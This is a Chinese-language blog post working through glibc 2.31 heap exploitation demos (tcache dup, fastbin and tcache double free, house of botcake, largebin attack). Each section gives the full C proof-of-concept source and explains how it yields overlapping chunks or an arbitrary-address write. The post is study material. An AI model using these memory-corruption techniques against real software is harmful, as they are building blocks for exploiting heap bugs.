学习的一下高版本的libc的利用方式。

  项目地址:https://github.com/StarCross-Tech/heap_exploit_2.31

tcache_dup

源代码:

 1 #include<stdio.h>
2 #include<stdlib.h>
3 #include<inttypes.h>
4 int main(int argc,char **argv)
5 {
6 //this is tcache
7 /*
8 *typedef struct tcache_entry
9 {
10 struct tcache_entry *next;
11 //This field exists to detect double frees.
12 struct tcache_perthread_struct *key;
13 } tcache_entry;
14 */
15 setbuf(stdout, 0);
16 setbuf(stderr, 0);
17 printf("tcache_dup can help you achieve \"arbitrary address writes\"\n");
18 void *p,*q,*r,*d;
19 p = malloc(0x10);
20 q = malloc(0x10);
21 free(p);
22 printf("now , we have a tcache which is already free\n");
23 printf("We can modify its next pointer!\n");
24 *(uint64_t *)p = (uint64_t)q;
25 printf("now p's next pointer = q\n");
26 printf("p's next = %p ,q = %p\n",*(uint64_t *)p,q);
27 printf("so,We can malloc twice to get a pointer to q,sure you can change this to what you want!\n");
28 r = malloc(0x10);
29 d = malloc(0x10);
30 printf("OK!, we get we want!\n");
31 }

  u1s1,我看完之后没有任何收获。

fastbin_double_free

源代码:

 1 #include<stdio.h>
2 #include<stdlib.h>
3 #include<inttypes.h>
4 int main()
5 {
6 /*this is double free related security mechanisms in glibc 2.29.
7 * if (__builtin_expect (old == p, 0))
8 malloc_printerr ("double free or corruption (fasttop)");
9 * */
10 setbuf(stdout, 0);
11 setbuf(stderr, 0);
12 printf("fastbin_double_free can help you achieve \"arbitrary address writes\"\n");
13
14 void *q,*r,*d;
15 void *p[7];
16 printf("First of all ,we need to Apply for heap blocks of the same size to consume tcache!\n");
17 for(int i=0;i<7;i++)
18 {
19 p[i] = malloc(0x10);
20 printf("p[%d] ===> %p\n",i,p[i]);
21 }
22 q = malloc(0x10);
23 r = malloc(0x10);
24 printf("now , we need to free 7 heap blocks to populate tcache linked list!\n");
25 for(int i=0;i<7;i++)
26 {
27 printf("now free p[%d] ===> %p\n",i,p[i]);
28 free(p[i]);
29 p[i] = 0;
30 }
31 printf("now ,Our free heap blocks will be put into fastbin\n");
32 printf("now free q ===> %p\n",q);
33 free(q);
34 printf("in order to achieve double free , we need to free another block to bypass check in glibc 2.29 !\n");
35 printf("now free r ===> %p\n",r);
36 free(r);
37 printf("now we free q again!\n");
38 printf("now free q ===> %p\n",q);
39 free(q);
40 printf("OK,we already achieve double free in glibc 2.29.!\n");
41 }

  利用思路是,先free掉7个chunk来填充tcache,然后就和2.23的double free一样,free(a),free(b),free(a)来达到任意地址写。

tcache_double_free

源代码:

 1 #include<stdio.h>
2 #include<stdlib.h>
3 #include<inttypes.h>
4 int main(int argc,char **argv)
5 {
6 //glibc 2.29 Security Mechanism
7 /*
8 *if (__glibc_unlikely (e->key == tcache))
9 {
10 tcache_entry *tmp;
11 LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
12 for (tmp = tcache->entries[tc_idx];
13 tmp;
14 tmp = tmp->next)
15 if (tmp == e)
16 malloc_printerr ("free(): double free detected in tcache 2");
17 // If we get here, it was a coincidence. We've wasted a
18 few cycles, but don't abort.
19 }
20 */
21 setbuf(stdout, 0);
22 setbuf(stderr, 0);
23 printf("tcache_double_free can help you achieve \"arbitrary address writes\"\n");
24 void *p,*q,*r,*d;
25 p = malloc(0x10);
26 free(p);
27 printf("now we already free p = %p\n",p);
28 printf("we can change its key to help us achieve double free\n");
29 printf("its key = %p,now\n",*(uint64_t *)(p+8));
30 *(uint64_t *)(p + 8) = 0x122220;
31 printf("after we change,its key = %p\n",*(uint64_t *)(p+8));
32 printf("so we can achieve double free!");
33 free(p);
34 printf("now we already achieve double free in glibc 2.29");
35 return 0;
36 }

  在2.29及以上,chunk被free后存在tache时,为了检测是否被double free引入一个key值。再具体的东西我也不懂(菜狗不想看glibc源码)。

  这个例子的利用思路就是,free(a),然后修改a这个chunk的key值,然后就可以继续free(a)了,然后就可以实现任意写了。

house_of_botcake

源代码:

 1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <inttypes.h>
4
5 static uint64_t victim = 0;
6 int main()
7 {
8 setbuf(stdin, NULL);
9 setbuf(stdout, NULL);
10
11 printf("Inspired by how2heap\n");
12 printf("You can use this technique to create chunk overlap, only relies on double free.\n");
13
14 printf("\n1. Alloc 7 chunks to fill up tcache list\n");
15
16 char *x[7];
17 for(int i=0; i<7; i++){
18 x[i] = malloc(0x100);
19 }
20
21 printf("\n2. Prepare two chunk with the same size as befor, for consolidation in unsortedbin\n");
22
23 char *a = malloc(0x100);
24 char *b = malloc(0x100);
25
26 printf("Padding chunk to prevent consolidation\n");
27 malloc(0x10);
28
29 printf("\n3. Fill in the tcache list and consolidation two prepared chunk in unsortedbin\n");
30 for(int i=0; i<7; i++){
31 free(x[i]);
32 }
33
34 free(b);
35 free(a);
36
37 printf("\n4. Get a chunk from tcache list and make chunk overlap\n");
38 malloc(0x100);
39
40 free(b);
41 printf("Now, chunk %p will be freed into tcache list\n", b);
42
43 char* res = malloc(0x130);
44 printf("Size is not matched with tcache list, so get chunk from unsortedbin, which makes chunk overlap\n");
45
46 *(uint64_t*)(res+0x110) = (uint64_t)(&victim);
47
48 printf("Now, you can control tcache list to alloc arbitrary address\n");
49 malloc(0x100);
50
51 char *target = malloc(0x100);
52 printf("Before attack, victim's value: 0x%lx\n", victim);
53 *(uint64_t*)target = 0xdeadbeef;
54 printf("After attack, victim's value: 0x%lx\n", victim);
55
56 return 0;
57 }

  利用double free构造堆块重叠。

  首先将tcache填充满,然后free两个同样大小的堆块a和b,让a和b合并。将tcache中的一个chunk申请出来,然后再次free掉b堆块,此时b堆块既在unsortedbin中,又在tcache链中。

  修改b堆块的fd指针为victim_addr,申请两次chunk,第二次就申请到victim_addr了。

largebin_attack

源代码:

 1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <inttypes.h>
4
5 static uint64_t victim;
6
7 int main()
8 {
9 setbuf(stdout, 0);
10 setbuf(stderr, 0);
11
12 printf("You can use this technique to write a big number to arbitrary address\n");
13 char *p1, *p2, *p3;
14 printf("\n1. Create two chunk, and free the larger one into largebin list\n");
15
16 p1 = malloc(0x458);
17 malloc(0x18);
18 p2 = malloc(0x448);
19 malloc(0x18);
20
21 free(p1);
22 //trigger
23 malloc(0x600);
24
25 printf("Now the chunk %p is in largebin\n", p1);
26
27 printf("\n2. Free the smaller one into unsortedbin, and change chunk's bk_nextsize in largebin to &victim-0x20\n");
28 free(p2);
29 printf("Now the chunk %p is in unsortedbin\n", p2);
30
31 *(uint64_t*)(p1+0x18) = (uint64_t)(&victim)-0x20;
32
33 printf("\n3. Alloc a size not match the the chunk size in unsortedbin\n");
34 printf("It will trigger largebin attack, write a big number to victim\n");
35 printf("Before attack, victim's value: 0x%lx\n", victim);
36 malloc(0x68);
37 printf("After attack, victim's value: 0x%lx\n", victim);
38
39 return 0;
40 }

  创建两个大于0x400的chunk(a)和chunk(b),先将chunk(a)释放掉,让chunk(a)先落入unsortedbin中,再创建size比这个chunk(a)大的堆块,此时的chunk(a)就会进入largebins。

  将chunk(b)释放掉,将chunk(a)的bk_nextsize修改为victim-0x20,此时chunk(b)在unsortedbin中,申请一个比chunk(b)小的chunk,就会触发largebin attack,在victim处留下一个较大的数。

heap exploit about ptmalloc in glibc version 2.31的更多相关文章

  1. OD: Heap Exploit : DWORD Shooting & Opcode Injecting

    堆块分配时的任意地址写入攻击原理 堆管理系统的三类操作:分配.释放.合并,归根到底都是对堆块链表的修改.如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会.堆溢出利用的精髓就是 ...

  2. linux系统编程:获取glibc的版本号

    我的环境是ubuntu16.04 glibc官网:http://www.gnu.org/software/libc/libc.html 方法一.一般来说,涉及到库调用的程序,在链接时候都会链接到gli ...

  3. 检测Linux glibc幽灵漏洞和修补漏洞

    1.首先安装rpm : sudo apt-get install rpm   wget -OGHOST-test.sh http://www.antian365.com/lab/linux0day/G ...

  4. Linux Glibc幽灵漏洞紧急修补方案【转】

    转自:http://blog.csdn.net/chen19870707/article/details/43560823 幽灵漏洞是Linux glibc库上出现的一个严重的安全问题,他可以让攻击者 ...

  5. tcmalloc jemalloc 和ptmalloc 对比

    ptmalloc 是glibc的内存分配管理 tcmalloc 是google的内存分配管理模块 jemalloc 是BSD的提供的内存分配管理 三者的性能对比参考从网上的一个图如下: 自己测试了一下 ...

  6. 极客时间-左耳听风-程序员攻略-Linux系统、内存和网络

    程序员练级攻略:Linux系统.内存和网络 Linux 系统相关 Red Hat Enterprise Linux 文档 . Linux Insides ,GitHub 上的一个开源电子书,其中讲述了 ...

  7. 安装 jemalloc for mysql

    参考: MySQL bug:https://bugs.mysql.com/bug.php?id=83047&tdsourcetag=s_pcqq_aiomsg https://github.c ...

  8. 2.Linux文件IO编程

    2.1Linux文件IO概述 2.1.0POSIX规范 POSIX:(Portable Operating System Interface)可移植操作系统接口规范. 由IEEE制定,是为了提高UNI ...

  9. gdb常用命令(转)

    pwn常常会用到gdb,看到一篇不错的文章,记录了很多命令:https://www.jianshu.com/p/c3e5f5972b21 gdb 基础调试命令 s step,si步入 n 执行下一条指 ...

随机推荐

  1. [tc14634]ExtremeSpanningTrees

    保序回归论文题 要求某一个边集为原图的最小生成树,这等价于非树边比所在环(指树上)的所有边小,最大生成树类似 将这些大小关系的限制看作一张有向图,即若要求$w_{i}\le w_{j}$则连边$(i, ...

  2. Sentry 监控 - Snuba 数据中台架构(SnQL 查询语言简介)

    本文描述了 Snuba 查询语言 (SnQL). 系列 1 分钟快速使用 Docker 上手最新版 Sentry-CLI - 创建版本 快速使用 Docker 上手 Sentry-CLI - 30 秒 ...

  3. .NET 5的System.Text.Json的JsonDocument类讲解

    本文内容来自我写的开源电子书<WoW C#>,现在正在编写中,可以去WOW-Csharp/学习路径总结.md at master · sogeisetsu/WOW-Csharp (gith ...

  4. Codeforces 1290D - Coffee Varieties(分块暴力+完全图的链覆盖)

    Easy version:Codeforces 题面传送门 & 洛谷题面传送门 Hard version:Codeforces 题面传送门 & 洛谷题面传送门 发现自己交互题烂得跟 s ...

  5. Qtree V

    lmn u 表示 u 所在splay子树最上方点距离最近的白点 rmn u 表示 u 所在splay子树最下方点距离最近的白点 开一个set维护所有虚儿子能走到的最近的白点的距离 考虑pushup, ...

  6. ACAM 题乱做

    之前做了不少 ACAM,不过没怎么整理起来,还是有点可惜的. 打 * 的是推荐一做的题目. I. *CF1437G Death DBMS 见 我的题解. II. *CF1202E You Are Gi ...

  7. R数据科学-3

    R数据科学(R for Data Science) Part 3:编程 转换--可视化--模型 --------------第13章 使用magrittr进行管道操作----------------- ...

  8. 【Redis】Sentinel 哨兵模式

    Sentinel(哨兵模式) 目录 Sentinel(哨兵模式) 哨兵模式的三个定时任务 Sentinel(哨兵)与Sentinel .主服务器.从服务器之间的连接 检测下线状态 选择领头 Senti ...

  9. absent, absolute, absorb

    absent Absenteeism is a habitual [习惯性的] pattern of absence from a duty or obligation [职责] without go ...

  10. canal从mysql拉取数据,并以protobuf的格式往kafka中写数据

    大致思路: canal去mysql拉取数据,放在canal所在的节点上,并且自身对外提供一个tcp服务,我们只要写一个连接该服务的客户端,去拉取数据并且指定往kafka写数据的格式就能达到以proto ...